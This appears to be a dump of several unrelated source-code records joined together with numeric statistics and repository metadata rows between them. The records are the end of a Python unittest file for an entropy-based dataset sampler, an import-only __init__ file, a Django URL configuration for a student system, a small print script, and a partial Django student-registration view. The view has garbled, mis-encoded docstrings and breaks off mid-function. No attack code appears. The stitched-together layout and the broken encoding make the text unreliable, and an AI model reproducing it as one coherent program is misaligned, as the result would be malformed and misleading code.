output_file=None,
)
result = iter(result)
next(result)
with self.assertRaisesRegex(Exception, "extension"):
output_file = "string.xml"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=num_sample,
output_file=output_file,
)
result = iter(result)
next(result)
with self.assertRaisesRegex(
Exception, "Invalid Data, ImageID not found in data"
):
sub = source.get_subset("train")
data_df = defaultdict(list)
infer_df = defaultdict(list)
for data in sub:
width, height = data.image.size
data_df["Width"].append(width)
data_df["Height"].append(height)
data_df["ImagePath"].append(data.image.path)
for annotation in data.annotations:
probs = annotation.attributes["scores"]
infer_df["ImageID"].append(data.id)
for prob_idx, prob in enumerate(probs):
infer_df[f"ClassProbability{prob_idx+1}"].append(prob)
data_df = pd.DataFrame(data_df)
infer_df = pd.DataFrame(infer_df)
entropy(data_df, infer_df)
with self.assertRaisesRegex(
Exception, "Invalid Data, ImageID not found in inference"
):
sub = source.get_subset("train")
data_df = defaultdict(list)
infer_df = defaultdict(list)
for data in sub:
width, height = data.image.size
data_df["ImageID"].append(data.id)
data_df["Width"].append(width)
data_df["Height"].append(height)
data_df["ImagePath"].append(data.image.path)
for annotation in data.annotations:
probs = annotation.attributes["scores"]
for prob_idx, prob in enumerate(probs):
infer_df[f"ClassProbability{prob_idx+1}"].append(prob)
data_df = pd.DataFrame(data_df)
infer_df = pd.DataFrame(infer_df)
entropy(data_df, infer_df)
@mark_requirement(Requirements.DATUM_GENERAL_REQ)
def test_sampler_get_invalid_data(self):
with self.subTest("empty dataset"):
config = {
"label1": 0,
"label2": 0,
"label3": 0,
}
source = self._generate_classification_dataset(config)
with self.assertRaisesRegex(Exception, "Unknown subset"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=5,
output_file=None,
)
result = iter(result)
next(result)
with self.subTest("Dataset without Scores (Probability)"):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(config, empty_scores=True)
with self.assertRaisesRegex(Exception, "ClassProbability"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=5,
output_file=None,
)
result = iter(result)
next(result)
with self.subTest("Out of range, probability (Less than 0 or more than 1)"):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(
config, empty_scores=False, out_range=True
)
with self.assertRaisesRegex(Exception, "Invalid data"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=5,
output_file=None,
)
result = iter(result)
next(result)
with self.subTest("No Scores Attribute Data"):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(config, no_attr=True)
with self.assertRaisesRegex(Exception, "does not have 'scores'"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=5,
output_file=None,
)
result = iter(result)
next(result)
with self.subTest("No Image Data"):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(config, no_img=True)
with self.assertRaisesRegex(Exception, "does not have image info"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=5,
output_file=None,
)
result = iter(result)
next(result)
@mark_requirement(Requirements.DATUM_GENERAL_REQ)
def test_sampler_number_of_samples(self):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(config)
num_pre_train_subset = len(source.get_subset("train"))
with self.subTest("k > num of data with top-k"):
num_sample = 500
sampling_method = "topk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k > num of data with low-k"):
num_sample = 500
sampling_method = "lowk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k > num of data with rand-k"):
num_sample = 500
sampling_method = "randk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k > num of data with mix-k"):
num_sample = 500
sampling_method = "mixk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k > num of data with randtop-k"):
num_sample = 500
sampling_method = "randtopk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k == num of data with top-k"):
num_sample = 10
sampling_method = "topk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k == num of data with low-k"):
num_sample = 10
sampling_method = "lowk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k == num of data with rand-k"):
num_sample = 10
sampling_method = "randk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k == num of data with mix-k"):
num_sample = 10
sampling_method = "mixk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
with self.subTest("k == num of data with randtop-k"):
num_sample = 10
sampling_method = "randtopk"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(num_pre_train_subset, len(result.get_subset("sample")))
num_sample = 9
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), 9)
@mark_requirement(Requirements.DATUM_GENERAL_REQ)
def test_sampler_accumulated_sampling(self):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(config)
num_pre_train_subset = len(source.get_subset("train"))
num_pre_val_subset = len(source.get_subset("val"))
num_pre_test_subset = len(source.get_subset("test"))
with self.subTest("Same Subset, Same number of datas 3times"):
num_sample = 3
sample_subset_name = "sample"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), num_sample)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample
)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), num_sample * 2)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample * 2
)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), num_sample * 3)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample * 3
)
with self.subTest("Same Subset, 2, 3, 4 sampling"):
sample_subset_name = "sample"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=2,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), 2)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 2)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=3,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), 5)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 5)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=4,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), 9)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 9)
with self.subTest("Different Subset, Same number of datas 3times"):
num_sample = 3
sample_subset_name = "sample"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), num_sample)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample
)
result = Sampler(
result,
algorithm="entropy",
input_subset="val",
sampled_subset=sample_subset_name,
unsampled_subset="val",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), num_sample * 2)
self.assertEqual(
len(result.get_subset("val")), num_pre_val_subset - num_sample
)
result = Sampler(
result,
algorithm="entropy",
input_subset="test",
sampled_subset=sample_subset_name,
unsampled_subset="test",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), num_sample * 3)
self.assertEqual(
len(result.get_subset("test")), num_pre_test_subset - num_sample
)
with self.subTest("Different Subset, 2, 3, 4 sampling"):
sample_subset_name = "sample"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset=sample_subset_name,
unsampled_subset="train",
sampling_method="topk",
count=2,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), 2)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 2)
result = Sampler(
result,
algorithm="entropy",
input_subset="val",
sampled_subset=sample_subset_name,
unsampled_subset="val",
sampling_method="topk",
count=3,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), 5)
self.assertEqual(len(result.get_subset("val")), num_pre_val_subset - 3)
result = Sampler(
result,
algorithm="entropy",
input_subset="test",
sampled_subset=sample_subset_name,
unsampled_subset="test",
sampling_method="topk",
count=4,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample")), 9)
self.assertEqual(len(result.get_subset("test")), num_pre_test_subset - 4)
@mark_requirement(Requirements.DATUM_GENERAL_REQ)
def test_sampler_unaccumulated_sampling(self):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(config)
num_pre_train_subset = len(source.get_subset("train"))
num_pre_val_subset = len(source.get_subset("val"))
num_pre_test_subset = len(source.get_subset("test"))
with self.subTest("Same Subset, Same number of datas 3times"):
num_sample = 3
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample1",
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), num_sample)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample
)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset="sample2",
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), num_sample)
self.assertEqual(len(result.get_subset("sample2")), num_sample)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample * 2
)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset="sample3",
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), num_sample)
self.assertEqual(len(result.get_subset("sample2")), num_sample)
self.assertEqual(len(result.get_subset("sample3")), num_sample)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample * 3
)
with self.subTest("Same Subset, 2, 3, 4 sampling"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample1",
unsampled_subset="train",
sampling_method="topk",
count=2,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), 2)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 2)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset="sample2",
unsampled_subset="train",
sampling_method="topk",
count=3,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), 2)
self.assertEqual(len(result.get_subset("sample2")), 3)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 5)
result = Sampler(
result,
algorithm="entropy",
input_subset="train",
sampled_subset="sample3",
unsampled_subset="train",
sampling_method="topk",
count=4,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), 2)
self.assertEqual(len(result.get_subset("sample2")), 3)
self.assertEqual(len(result.get_subset("sample3")), 4)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 9)
with self.subTest("Different Subset, Same number of datas 3times"):
num_sample = 3
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample1",
unsampled_subset="train",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), num_sample)
self.assertEqual(
len(result.get_subset("train")), num_pre_train_subset - num_sample
)
result = Sampler(
result,
algorithm="entropy",
input_subset="val",
sampled_subset="sample2",
unsampled_subset="val",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), num_sample)
self.assertEqual(len(result.get_subset("sample2")), num_sample)
self.assertEqual(
len(result.get_subset("val")), num_pre_val_subset - num_sample
)
result = Sampler(
result,
algorithm="entropy",
input_subset="test",
sampled_subset="sample3",
unsampled_subset="test",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), num_sample)
self.assertEqual(len(result.get_subset("sample2")), num_sample)
self.assertEqual(len(result.get_subset("sample3")), num_sample)
self.assertEqual(
len(result.get_subset("test")), num_pre_test_subset - num_sample
)
with self.subTest("Different Subset, 2, 3, 4 sampling"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample1",
unsampled_subset="train",
sampling_method="topk",
count=2,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), 2)
self.assertEqual(len(result.get_subset("train")), num_pre_train_subset - 2)
result = Sampler(
result,
algorithm="entropy",
input_subset="val",
sampled_subset="sample2",
unsampled_subset="val",
sampling_method="topk",
count=3,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), 2)
self.assertEqual(len(result.get_subset("sample2")), 3)
self.assertEqual(len(result.get_subset("val")), num_pre_val_subset - 3)
result = Sampler(
result,
algorithm="entropy",
input_subset="test",
sampled_subset="sample3",
unsampled_subset="test",
sampling_method="topk",
count=4,
output_file=None,
)
self.assertEqual(len(result.get_subset("sample1")), 2)
self.assertEqual(len(result.get_subset("sample2")), 3)
self.assertEqual(len(result.get_subset("sample3")), 4)
self.assertEqual(len(result.get_subset("test")), num_pre_test_subset - 4)
@mark_requirement(Requirements.DATUM_GENERAL_REQ)
def test_sampler_parser(self):
from argparse import ArgumentParser
assert isinstance(Sampler.build_cmdline_parser(), ArgumentParser)
| 35.563964
| 87
| 0.499671
| 3,516
| 39,476
| 5.375711
| 0.058589
| 0.04714
| 0.056505
| 0.084757
| 0.889688
| 0.875985
| 0.867732
| 0.864769
| 0.849214
| 0.840326
| 0
| 0.011942
| 0.406044
| 39,476
| 1,109
| 88
| 35.596032
| 0.794174
| 0
| 0
| 0.761562
| 0
| 0
| 0.091397
| 0.002837
| 0
| 0
| 0
| 0
| 0.10483
| 1
| 0.00925
| false
| 0
| 0.012333
| 0
| 0.024666
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4d4eaf3762d71d9d488a8be7810c16a544dab281
| 226
|
py
|
Python
|
backend/garpix_utils/managers/__init__.py
|
AlexandrMikhailovich/garpix_utils
|
f4ad2fdd49186b8625185d38c4ea663a8cc0100b
|
[
"MIT"
] | 4
|
2021-07-21T09:15:48.000Z
|
2021-09-27T07:20:40.000Z
|
backend/garpix_utils/managers/__init__.py
|
AlexandrMikhailovich/garpix_utils
|
f4ad2fdd49186b8625185d38c4ea663a8cc0100b
|
[
"MIT"
] | null | null | null |
backend/garpix_utils/managers/__init__.py
|
AlexandrMikhailovich/garpix_utils
|
f4ad2fdd49186b8625185d38c4ea663a8cc0100b
|
[
"MIT"
] | 2
|
2021-09-08T09:08:57.000Z
|
2021-09-08T09:37:46.000Z
|
from .active_manager import ActiveManager
from .available_manager import AvailableManager
from .polymorphic_active_manager import PolymorphicActiveManager
from .polymorphic_available_manager import PolymorphicAvailableManager
| 45.2
| 70
| 0.911504
| 22
| 226
| 9.090909
| 0.454545
| 0.26
| 0.19
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.070796
| 226
| 4
| 71
| 56.5
| 0.952381
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
4d520b44096a1cbf834f9331aff157f7243a0633
| 1,752
|
py
|
Python
|
devilry/devilry_student/urls.py
|
devilry/devilry-django
|
9ae28e462dfa4cfee966ebacbca04ade9627e715
|
[
"BSD-3-Clause"
] | 29
|
2015-01-18T22:56:23.000Z
|
2020-11-10T21:28:27.000Z
|
devilry/devilry_student/urls.py
|
devilry/devilry-django
|
9ae28e462dfa4cfee966ebacbca04ade9627e715
|
[
"BSD-3-Clause"
] | 786
|
2015-01-06T16:10:18.000Z
|
2022-03-16T11:10:50.000Z
|
devilry/devilry_student/urls.py
|
devilry/devilry-django
|
9ae28e462dfa4cfee966ebacbca04ade9627e715
|
[
"BSD-3-Clause"
] | 15
|
2015-04-06T06:18:43.000Z
|
2021-02-24T12:28:30.000Z
|
from django.urls import path, re_path, include
from django.contrib.auth.decorators import login_required
from devilry.devilry_student.views import show_delivery
from devilry.devilry_student.views.dashboard import crinstance_dashboard
from devilry.devilry_student.views.group.projectgroupapp import GroupInviteRespondViewStandalone
from devilry.devilry_student.views.period import crinstance_period
urlpatterns = [
re_path(r'^groupinvite/respond/(?P<invite_id>\d+)$',
login_required(GroupInviteRespondViewStandalone.as_view()),
name='devilry_student_groupinvite_respond'),
re_path(r'^show_delivery/(?P<delivery_id>\d+)$', show_delivery.show_delivery,
name='devilry_student_show_delivery'),
path('period/', include(crinstance_period.CrAdminInstance.urls())),
path('', include(crinstance_dashboard.CrAdminInstance.urls()))
]
# from django.conf.urls import include, url
# from django.contrib.auth.decorators import login_required
# from devilry.devilry_student.views import show_delivery
# from devilry.devilry_student.views.dashboard import crinstance_dashboard
# from devilry.devilry_student.views.group.projectgroupapp import GroupInviteRespondViewStandalone
# from devilry.devilry_student.views.period import crinstance_period
# urlpatterns = [
# url(r'^groupinvite/respond/(?P<invite_id>\d+)$',
# login_required(GroupInviteRespondViewStandalone.as_view()),
# name='devilry_student_groupinvite_respond'),
# url(r'^show_delivery/(?P<delivery_id>\d+)$', show_delivery.show_delivery,
# name='devilry_student_show_delivery'),
# url(r'^period/', include(crinstance_period.CrAdminInstance.urls())),
# url(r'^', include(crinstance_dashboard.CrAdminInstance.urls()))
# ]
| 43.8
| 98
| 0.780822
| 203
| 1,752
| 6.497537
| 0.182266
| 0.127369
| 0.109174
| 0.15163
| 0.920394
| 0.852161
| 0.779378
| 0.779378
| 0.779378
| 0.779378
| 0
| 0
| 0.104452
| 1,752
| 39
| 99
| 44.923077
| 0.840663
| 0.48516
| 0
| 0
| 0
| 0
| 0.165914
| 0.158014
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
4d5f1c341627b256d53b77661aa148d6bc5fd7de
| 95
|
py
|
Python
|
2/2-8.py
|
liuhanyu200/pygame
|
38a68e779e6b0a63edb1758fca98ebbf40bb0444
|
[
"BSD-3-Clause"
] | null | null | null |
2/2-8.py
|
liuhanyu200/pygame
|
38a68e779e6b0a63edb1758fca98ebbf40bb0444
|
[
"BSD-3-Clause"
] | null | null | null |
2/2-8.py
|
liuhanyu200/pygame
|
38a68e779e6b0a63edb1758fca98ebbf40bb0444
|
[
"BSD-3-Clause"
] | null | null | null |
#-*- coding:utf-8 -*-
print(4 + 4)
print(10 - 2)
print(2 * 4)
print(int(16 / 2))
print(2 ** 3)
| 13.571429
| 21
| 0.526316
| 19
| 95
| 2.631579
| 0.526316
| 0.24
| 0.28
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.168831
| 0.189474
| 95
| 7
| 22
| 13.571429
| 0.480519
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
4d649c16bfad2f0cd19c51a5d83e44ff869d8107
| 47,513
|
py
|
Python
|
baoming/webapp/controller/student.py
|
hanxiaoshun/RegistrationSystem
|
2f7310508fc1725e96fe941b1062ce7f26f265a4
|
[
"Apache-2.0"
] | null | null | null |
baoming/webapp/controller/student.py
|
hanxiaoshun/RegistrationSystem
|
2f7310508fc1725e96fe941b1062ce7f26f265a4
|
[
"Apache-2.0"
] | 14
|
2020-06-06T01:24:24.000Z
|
2022-03-12T00:17:22.000Z
|
baoming/webapp/controller/student.py
|
hanxiaoshun/RegistrationSystem
|
2f7310508fc1725e96fe941b1062ce7f26f265a4
|
[
"Apache-2.0"
] | null | null | null |
import inspect
import json
from django.core.paginator import Paginator
from django.http import JsonResponse
from baoming.settings import MEDIA_URL
from webapp.controller.common import *
from webapp.controller.renderUtil import render_result
from webapp.forms.StudentForm import *
from webapp.forms.StudentUpdateForm import *
from webapp.models import *
from webapp.utils.form_to_obj import *
from webapp.utils.save_operation_log import save_operation_log
from webapp.utils.shutilwhichUtil import term_worker_picture
from webapp.forms_search.PageSearchForm import *
sys_msg = '报名系统'
result = {'status': True, 'message': ''}
def add_student_info(request):
"""����ѧ������Ϣ.
:param request:
:return:
"""
try:
if request.method == 'POST':
object_form = StudentForm(request.POST)
print(object_form)
if object_form.is_valid():
print(object_form.cleaned_data)
form_object_student_info = form_to_obj(object_form.cleaned_data, StudentInfo())
# # 关联教育程度
# education_degree = object_form.cleaned_data.get('education_degree_form', None)
# if education_degree:
# education_degree_obj = EducationDegree.objects.get(id=education_degree)
# form_object_student_info.education_degree = education_degree_obj
# # 关联教育程度
# 关联职业资格证书照片
certificate_photos = object_form.cleaned_data.get(
'certificate_photos_form', None)
if certificate_photos:
certificate_photos_obj = Picture.objects.get(
id=certificate_photos)
form_object_student_info.certificate_photos = certificate_photos_obj
# 关联职业资格证书照片
# 关联院校毕业证书照片
diploma_certificate_photos = object_form.cleaned_data.get(
'diploma_certificate_photos_form', None)
if diploma_certificate_photos:
diploma_certificate_photos_obj = Picture.objects.get(
id=diploma_certificate_photos)
form_object_student_info.diploma_certificate_photos = diploma_certificate_photos_obj
# 关联院校毕业证书照片
# 关联登陆用户基础信息
username = request.session.get('username', None) # 用户名
register_user_info = RegisterUserInfo.objects.get(
username=username)
user_infos = UserInfo.objects.filter(
register_user_info=register_user_info)
image_url = ''
idcard_heads_image_url = ''
idcard_tails_image_url = ''
if len(user_infos) > 0:
user_info_old = user_infos[len(user_infos) - 1]
if user_info_old.two_inch_photo:
if user_info_old.two_inch_photo.picture_path:
image_url = MEDIA_URL + str(
user_info_old.two_inch_photo.picture_path)
idcard_heads_image_url = MEDIA_URL + str(
user_info_old.id_card_heads_photo.picture_path)
idcard_tails_image_url = MEDIA_URL + str(
user_info_old.id_card_tails_photo.picture_path)
else:
image_url = ''
# 学生附属信息
form_object_student_info.user_info = user_info_old
else:
# 用户基础信息
user_info_new = UserInfo()
# 关联注册员信息
user_info_new.register_user_info = register_user_info
user_info_new.save()
form_object_student_info.user_info = user_info_new
declaration_of_occupation = form_object_student_info.declaration_of_occupation
if declaration_of_occupation in chemical_industry:
form_object_student_info.chemical_worker = '1'
else:
form_object_student_info.chemical_worker = '2'
school_term = SchoolTerm.objects.last()
form_object_student_info.school_term = school_term
declaration_of_occupation = form_object_student_info.declaration_of_occupation
identification_level = form_object_student_info.identification_level
if '工业废水' in declaration_of_occupation:
declaration_of_occupation_first = '工废'
elif '工业固体' in declaration_of_occupation:
declaration_of_occupation_first = '工固'
elif '中式烹调师' in declaration_of_occupation:
declaration_of_occupation_first = '烹'
elif '中式面点师' in declaration_of_occupation:
declaration_of_occupation_first = '面'
elif '电梯安装维修工' in declaration_of_occupation:
declaration_of_occupation_first = '电梯'
else:
declaration_of_occupation_first = str(
declaration_of_occupation)[0:1]
identification_level_dict = {
'5': '(初)',
'4': '(中)',
'3': '(高)'
}
identification_level_str = identification_level_dict[str(
identification_level)]
explain = declaration_of_occupation_first + identification_level_str
form_object_student_info.explain = explain
print("primary_level::" +
form_object_student_info.primary_level)
# if form_object_student_info.identification_level == "3":
# # 如果申报等级是高级那么工作年限将不设置
# form_object_student_info.career_life = 0
# form_object_student_info.original_certificate_worker_year = 0
# form_object_student_info.apprentice_year = 0
# form_object_student_info.apprentice_month = 0
# else:
# pass
form_object_student_info.save()
if diploma_certificate_photos:
# 备份到对应的
term_worker_picture(
school_term.school_term_name,
form_object_student_info.declaration_of_occupation,
username, "毕业证件照", form_object_student_info.
diploma_certificate_photos.picture_path)
if certificate_photos:
# 备份到对应的
term_worker_picture(
school_term.school_term_name,
form_object_student_info.declaration_of_occupation,
username, "资格证件照", form_object_student_info.
certificate_photos.picture_path)
result['message'] = "学员信息添加成功！"
result["level"] = log_level_add
save_operation_log(request,
inspect.stack()[0][3],
form_object_student_info.__str__(True),
result)
student_id = form_object_student_info.id
# user_info = UserInfo.objects.get(register_user_info=register_user_info.id)
# working_history_list = user_info.user_Info_working_history.all()
# print("user_Info_working_history::" + str(working_history_list))
title_msg = sys_msg + '-学生信息'
student_infos = StudentInfo.objects.filter(id=student_id)
if len(student_infos) > 0:
student_info = student_infos[0]
user_info = student_info.user_info
if not user_info.real_name:
user_info.real_name = ""
if not user_info.id_number:
user_info.id_number = ""
if not user_info.id_card_address:
user_info.id_card_address = ""
if not user_info.address:
user_info.address = ""
if not user_info.work_unit:
user_info.work_unit = ""
if not user_info.fixed_telephone:
user_info.fixed_telephone = ""
if not user_info.contact_number:
user_info.contact_number = ""
if not user_info.postal_code:
user_info.postal_code = ""
if not user_info.main_occupation:
user_info.main_occupation = ""
teacher_infos = TeacherInfo.objects.all()
if teacher_infos.count() == 0:
title_msg = sys_msg + '-错误信息展示页面'
message = '负责人信息为空，请管理员添加负责人信息！'
return render_result(request, "page_main_controller/message.html",
{'title_msg': title_msg, 'message': message})
else:
return render_result(
request,
"page_main_controller/user/report_user_info_update.html",
{
'title_msg': title_msg,
'user_info': student_info.user_info,
'student_id': student_id,
'image_url': image_url,
'idcard_heads_image_url': idcard_heads_image_url,
'idcard_tails_image_url': idcard_tails_image_url,
'teacher_infos': teacher_infos
})
else:
print(type(object_form.errors),
object_form.errors) # errors类型是ErrorDict，里面是ul，li标签
title_msg = sys_msg + '-错误信息展示页面'
message = '添加失败：输入项不全，请返回重新确认并填写，或联系管理员'
return render_result(request,
"page_main_controller/message.html", {
'title_msg': title_msg,
'message': message
})
# return render_result(request, "account/form1.html", {"error": f.errors})
else:
title_msg = sys_msg + '-错误信息展示页面'
message = '系统提示：请求方式有误，请重新提交或者联系管理员'
return render_result(request, "page_main_controller/message.html",
{
'title_msg': title_msg,
'message': message
})
except Exception as e:
raise e
# print(str(e))
# title_msg = sys_msg + '-错误信息展示页面'
# message = '系统提示，请重新提交或者联系管理员，错误提示：' + str(e)
# return render_result(request, "page_main_controller/message.html",
# {'title_msg': title_msg, 'message': message})
def report_student_info_list(request):
"""��ѯѧ��������Ϣ�б�.
